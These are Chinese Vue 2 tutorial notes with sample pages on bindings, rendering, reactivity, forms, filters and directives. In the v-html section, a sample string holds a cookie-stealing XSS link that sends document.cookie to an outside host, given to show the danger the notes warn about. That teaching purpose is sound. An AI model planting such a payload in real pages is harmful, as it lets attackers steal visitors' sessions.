            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg,yellow,pink,orange,yellow);
        }
        .sad{
            border: 4px dashed rgb(2, 197, 2);
            background-color: gray;
        }
        .normal{
            background-color: skyblue;
        }

        .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow:2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
      	<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="mood" :class="arr" @click="changeMood">{{name}}</div></br></br>
        <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定,名字也不确定-->
        <div class="basic" :class="classArr" >{{name}}</div></br></br>
         <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数确定,名字也确定,但要动态决定用不用-->
         <div class="basic" :class="classObj" >{{name}}</div></br></br>
        <!-- 绑定style样式--对象写法 -->
        <!-- <div class="basic" :style="{fontSize: fsize + 'px'}">{{name}}</div></br></br> -->
        <div class="basic" :style="styleObj1">{{name}}</div></br></br>
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="[styleObj1,styleObj2]">{{name}}</div></br></br>
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="styleArr">{{name}}</div></br></br>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       mood:'normal',
       classArr:['atguigu1','atguigu2','atguigu3'],
       classObj:{
            atguigu1:false,
            atguigu2:false,
       },
    //    fsize:40,
       styleObj1:{
           fontSize:'40px',
           color:'#c00',
       },
       styleObj2:{
            backgroundColor:'purple'
       },
       styleArr:[
            {
                fontSize:'40px',
                color:'#c00',
            },
            {
                backgroundColor:'purple'
            }
       ]
   },
   methods:{
        changeMood(){
            // this.mood = "happy";
            const arr = ['happy','sad','normal'];
            const i =  Math.floor(Math.random()*3);
            this.mood = arr[i];
        },
   }
})
</script>
</html>

 十一、条件渲染

 条件渲染:

1.v-if

写法:

(1).v-if="表达式"

(2).v-else-if="表达式"

(3).v-else="表达式"

适用于:切换频率较低的场景。

特点:不展示的DOM元素直接被移除。

注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

2.v-show

写法:v-show="表达式"

适用于:切换频率较高的场景。

特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h1>当前n的值是{{n}}</h1>
        <button @click="n++">点击让n+1</button>
        <!--使用v-show做条件渲染-->
         <!-- <span v-show="false">欢迎来到{{name}}</span>
         <span v-show="1===1">欢迎来到{{name}}</span> -->
        <!--使用v-if做条件渲染--><!--元素可能无法获取到,变成注释-->
        <!-- <span v-if="false">{{name}}</span> -->
        <!-- <span v-if="1===1">{{name}}</span> -->

        <!--组合-->
        <!-- <div v-show="n===1">Augular</div>
        <div v-show="n===2">React</div>
        <div v-show="n===3">Vue</div> -->

        <!--v-else和v-else-if-->
        <!-- <div v-if="n===1">Augular</div>
        <div v-else-if="n===2">React</div>
        <div v-else-if="n===3">Vue</div>
        <div v-else>及</div> -->

        <!--template必须和v-if搭配使用-->
        <template v-if="n===1">
            <h2>花非花</h2>
            <h2>雾非雾</h2>
            <h2>各方来聚一处</h2>
        </template>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
    //    a:false,
      n:0,
   }
})
</script>
</html>

 十二、列表渲染

1.基本列表 

 v-for指令:

1.用于展示列表数据

2.语法:v-for="(item, index) in xxx" :key="yyy"

3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>基本列表</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表(遍历数组)</h2>
        <ul>
            <!-- <li v-for="p in persons" :key="p.id">
                {{p.id}}--{{p.name}}-{{p.age}}
             </li> -->
             <li v-for="(p,index) in persons" :key="index">
                {{p.id}}--{{p.name}}-{{p.age}}--{{index}}<!--index是索引值-->
            </li>
        </ul>
        <!--遍历对象-->
        <h2>具体信息(遍历对象)</h2>
        <ul>
            <li v-for="(v,k) of marry" :key="k">
                {{k}}--{{v}}
            </li>
        </ul>
        <!--遍历字符串-->
        <h2>测试遍历字符串(用得少)</h2>
        <ul>
            <li v-for="(char,index) of str" :key="index">
                {{index}}--{{char}}
            </li>
        </ul>
        <!--遍历指定次数-->
        <h2>测试遍历指定次数(用得少)</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
                {{index}}--{{number}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       persons:[
           {id:'001',name:'张三',age:'18'},
           {id:'002',name:'李四',age:'19'},
           {id:'003',name:'王五',age:'20'},
       ],
       marry:{
            name:'叶凡',
            age:'18',
            city:'中国上海',
       },
       str:'hello'
   }
})
</script>
</html>

 2.key的原理

面试题:react、vue中的key有什么作用?(key的内部原理)

1. 虚拟DOM中key的作用:

key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

2.对比规则:

(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:

①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!

②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key

创建新的真实DOM,随后渲染到到页面。

3. 用index作为key可能会引发的问题:

1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

2. 如果结构中还包含输入类的DOM:

会产生错误DOM更新 ==> 界面有问题。

4. 开发中如何选择key?:

1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。

2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,

使用index作为key是没有问题的。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>key的原理</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
   
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表(遍历数组)</h2>
        <button @click="add">添加一个老刘</button>
        <ul>
             <li v-for="(p,index) in persons" :key="p.id">
                {{p.id}}--{{p.name}}-{{p.age}}--{{index}}<!--index是索引值-->
                <input type="text">
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       persons:[
           {id:'001',name:'张三',age:'18'},
           {id:'002',name:'李四',age:'19'},
           {id:'003',name:'王五',age:'20'},
        ],
   },
   methods:{
        add(){
            const p = {id:'004',name:'老六',age:'21'};
            // this.persons.unshift(p);//前面追加
            this.persons.push(p);//后面追加
        }
   }
})
</script>
</html>

 3.列表过滤

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" v-model="keyWord" placeholder="请输入名字"/>
        <ul>
             <li v-for="(p,index) in filPerons" :key="p.id">
                {{p.id}}--{{p.name}}-{{p.age}}--{{index}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
//用watch实现
//#region
// const vm = new Vue  ({
//     el:'#root',
//     data:{
//        name:'花非花,雾非雾',
//        keyWord:'',
//        filPerons:[],
//        persons:[
//            {id:'001',name:'马冬梅',age:'18',sex:'女'},
//            {id:'002',name:'周冬雨',age:'19',sex:'女'},
//            {id:'003',name:'周杰伦',age:'20',sex:'男'},
//            {id:'004',name:'温兆伦',age:'21',sex:'男'},
//         ],
//    },
//    watch:{
//         // keyWord(val){
//         //     //filter() 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。
//         //     this.filPerons = this.persons.filter((p)=>{
//         //         return p.name.indexOf(val) !== -1;
//         //         //空字符串也是0
//         //     })
//         // }
//         keyWord:{
//             immediate:true,//初始化就会调用
//             handler(val){
//                 //filter() 方法创建一个新的数组,新数组中的元素是通过检查指定数组中符合条件的所有元素。
//                 this.filPerons = this.persons.filter((p)=>{
//                     return p.name.indexOf(val) !== -1;
//                 })
//             }
//         }
//    }
// })
//#endregion

//用computed实现
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       keyWord:'',
       persons:[
           {id:'001',name:'马冬梅',age:'18',sex:'女'},
           {id:'002',name:'周冬雨',age:'19',sex:'女'},
           {id:'003',name:'周杰伦',age:'20',sex:'男'},
           {id:'004',name:'温兆伦',age:'21',sex:'男'},
        ],
   },
   computed:{
       filPerons(){
           return this.persons.filter((p)=>{
                return p.name.indexOf(this.keyWord) !== -1;
           });
       }
   }
})
</script>
</html>

 4.列表排序

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表排序</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<button @click="sortType = 2">年龄升序</button>
			<button @click="sortType = 1">年龄降序</button>
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					sortType:0, //0原顺序 1降序 2升序
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
						//判断一下是否需要排序
						if(this.sortType){
							arr.sort((p1,p2)=>{
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr
					}
				}
			}) 

		</script>
</html>

5.更新时的一个问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
					}
				}
			}) 

		</script>
</html>

6.Vue监测数据改变的原理_对象

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				address:'北京',
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35}
					]
				}
			}
		})
	</script>
</html>

7.模拟一个数据监测

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>
		<script type="text/javascript" >

			let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个监视的实例对象,用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
			
			


		</script>
	</body>
</html>

8.Vue.set的使用

Vue.set(添加目标,'添加属性','属性值')

  • Vue.set(this.student,'sex','男')

添加目标可以用this.student,也可以用vm.student(_data因为数据代理可省略)

  • this.$set(this.student, 'sex', '男')
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

9.Vue监测数据改变的原理_数组

数组中的操作(基础)

1.最后一个位置新增元素 push

2.删除最后一个元素 pop

3.删除第一个元素 shift

4.在前面(第一个)追加元素 unshift

5.替换掉指定位置的元素 splice

6.对数组进行排序 sort

7.反转数组 reverse

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>

10.总结Vue数据监测

Vue监视数据的原理:

1. vue会监视data中所有层次的数据。

2. 如何监测对象中的数据?

通过setter实现监视,且要在new Vue时就传入要监测的数据。

(1).对象中后追加的属性,Vue默认不做响应式处理

(2).如需给后添加的属性做响应式,请使用如下API:

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

3. 如何监测数组中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事:

(1).调用原生对应的方法对数组进行更新。

(2).重新解析模板,进而更新页面。

4.在Vue修改数组中的某个元素一定要用如下方法:

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

 Vue把数据再放入getset中处理的过程就叫做数据劫持

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄+1岁</button> <br/>
        <button @click="addSex">添加性别属性,默认值:男</button> <br/>
        <button @click = "student.sex ='未知'">修改性别</button> <br/>
        <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
        <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
        <button @click="addHobby">添加一个爱好</button> <br/>
        <button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
        <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
        <h3>姓名:{{student.name}}</h3>
        <h3>年龄:{{student.age}}</h3>
        <h3 v-if="student.sex">性别:{{student.sex}}</h3>
        <h1>爱好</h1>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
        </ul>
        <h1>朋友们</h1>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">{{f.name}}--{{f.age}}</li>
        </ul>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
        student:{ 
            name:'花非花,雾非雾',
            age:18,
            hobby:['抽烟','喝酒','烫头'],
            friends:[
                {name:'雪花',age:28},
                {name:'浪花',age:20},
                {name:'火花',age:18},
                {name:'烟花',age:17},
            ]
        }
   },
   methods: {
       //添加性别属性,默认值:男
       addSex(){
        //    Vue.set(this.student,'sex','girl')
            this.$set(this.student,'sex','boy');
       },
       //在列表首位添加一个朋友
       addFriend(){
            this.student.friends.unshift({name:'tom',age:18});
       },
       //修改第一个朋友的名字为:张三
       updateFirstFriendName(){
            // this.student.friends.splice(0,1,({name:'json',age:8}));
            vm.student.friends[0].name = "张三";
       },
       //添加一个爱好
       addHobby(){
            this.student.hobby.push('学习');
       },
       //修改第一个爱好为:开车
       updateHobby(){
            // this.student.hobby.splice(0,1,'开车')
            Vue.set(this.student.hobby, 0, '开车');
            this.$set(this.student.hobby, 0, '开车');
       },
       //过滤掉爱好中的抽烟
       removeSmoke(){
            this.student.hobby = this.student.hobby.filter((h)=>{
                return h != '抽烟';
            })
       }

   },
})
</script>
</html>

 十三、收集表单数据

收集表单数据:

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

若:<input type="checkbox"/>

1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)

2.配置input的value属性:

(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)

(2)v-model的初始值是数组,那么收集的的就是value组成的数组

备注:v-model的三个修饰符:

lazy:失去焦点再收集数据

number:输入字符串转为有效的数字

trim:输入首尾空格过滤

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>收集表单数据</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <form @submit.prevent="demo"><!--prevent阻止页面跳转-->
            账号:<input type="text" v-model.trim="userInfo.account"/><br/><br/>
            密码:<input type="password" v-model="userInfo.password"/><br/><br/>
            年龄:<input type="number" v-model.number="userInfo.age"/><br/><br/>
            性别:
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male"/>
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"/><br/><br/>
            爱好:
            学习<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="study"/>
            运动<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="motion"/>
            打游戏<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="game"/><br/><br/>
            所属校区:
            <select v-model="userInfo.city">
                <option value="">请选择城市</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="shenzhen">深圳</option>
                <option value="wuhan">武汉</option>
            </select><br/><br/>
            其他信息:
            <textarea v-model="userInfo.other"></textarea><br/><br/>
            <input v-model="userInfo.agree" type="checkbox"/>阅读并接受<a href="http://baidu.com">《用户协议》</a><br/><br/>
            <button>注册</button>
        </form>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
        userInfo:{
            account:'',
            password:'',
            sex:'',
            hobby:[],
            city:'',
            other:'',
            agree:'',
            age:'',
        }
   },
   methods:{
        demo(){
            // console.log(JSON.stringify(this._data));
            console.log(JSON.stringify(this.userInfo));
        }
   }
})
</script>
</html>

十四、过滤器

过滤器:

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。

语法:

1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}

2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"

备注:

1.过滤器也可以接收额外参数、多个过滤器也可以串联

2.并没有改变原本的数据, 是产生新的对应的数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title></title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>显示格式化后的时间</h2>
        <!-- 计算属性实现 -->
        <h3>现在是:{{fmtTime}}</h3>
        <!-- methods实现 -->
        <h3>现在是:{{getFmtTime()}}</h3>
        <!--过滤器实现-->
        <h3>现在是:{{time | timeFormater}}</h3>
        <!-- 过滤器实现(传参) -->
        <h3>现在是:{{time | timeFormater('YYYY-MM-DD')| mySlice }}</h3>
    </div>
    <div id="root2">
        <h2 :x="msg | mySlice">{{msg | mySlice}}</h2>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
//全局过滤器
Vue.filter('mySlice',function (value){
    return value.slice(0,4);
})
const vm = new Vue  ({
    el:'#root',
    data:{
       time:Date.parse(new Date()),//时间戳
       msg:'你好,雾非雾',
   },
   computed:{
       fmtTime(){
            return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
       }
   },
   methods:{
        getFmtTime(){
            return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss');
        }
   },
   //局部过滤器
   filters:{
       //传参方法1
        // timeFormater(value,str){//默认会有value值,不管有没有传参
        //     // console.log('@',value);
        //     return dayjs(value).format(str!=undefined? str:'YYYY年MM月DD日 HH:mm:ss');
        // }
         //传参方法2
        timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){//默认会有value值,不管有没有传参
            return dayjs(value).format(str);
        },
        // mySlice(value){
        //     return value.slice(0,4);
        // }
   }
})
new Vue  ({
    el:'#root2',
    data:{
       msg:'花非花,雾非雾'
   }
})
</script>
</html>

十五、内置指令

1.v-text_指令

我们学过的指令:

                        v-bind  : 单向绑定解析表达式, 可简写为 :xxx

                        v-model : 双向数据绑定

                        v-for  : 遍历数组/对象/字符串

                        v-on  : 绑定事件监听, 可简写为@

                        v-if        : 条件渲染(动态控制节点是否存存在)

                        v-else  : 条件渲染(动态控制节点是否存存在)

                        v-show  : 条件渲染 (动态控制节点是否展示)

                v-text指令:

                        1.作用:向其所在的节点中渲染文本内容。

                        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>'
			}
		})
	</script>
</html>

2.v-html_指令

写cookie的时候 httpOnly必须为true

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性

v-html指令:

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。

(2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>1.v-text_指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <div>您好,{{name}}</div><!--您好,花非花,雾非雾-->
        <div v-text="name">您好,</div><!--花非花,雾非雾-->
        <div v-html="str"></div><!--<h3>尘归尘,土归土</h3>-->
        <div v-html="str2"></div>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾',
       str:'<h3>尘归尘,土归土</h3>',
       str2:'<a href=javascript:location.href="http://baidu/com?"+document.cookie>是兄弟就来玩!</a>'
   }
})      
//写cookie的时候 httpOnly必须为true
</script>
</html>

3.v-cloak_指令

v-cloak指令(没有值):

1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>3.v-cloak_指令</title>
    <script type="text/javascript" src=".ww./js/vue.js"></script>
    <style>
        [v-cloak]{
            display:none;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-cloak>{{name}}</h2>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
       name:'花非花,雾非雾'
   }
})
</script>
</html>

4.v-once_指令

v-once指令:

1.v-once所在节点在初次动态渲染后,就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>v-once_指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前n的值是{{n}}</h2>
        <button @click="n++">点击n+1</button>
    </div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false; 
const vm = new Vue  ({
    el:'#root',
    data:{
        n:1
   }
})
</script>
</html>

5.v-pre_指令

用于vue性能优化

v-pre指令:

1.跳过其所在节点的编译过程。

2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>v-pre_指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
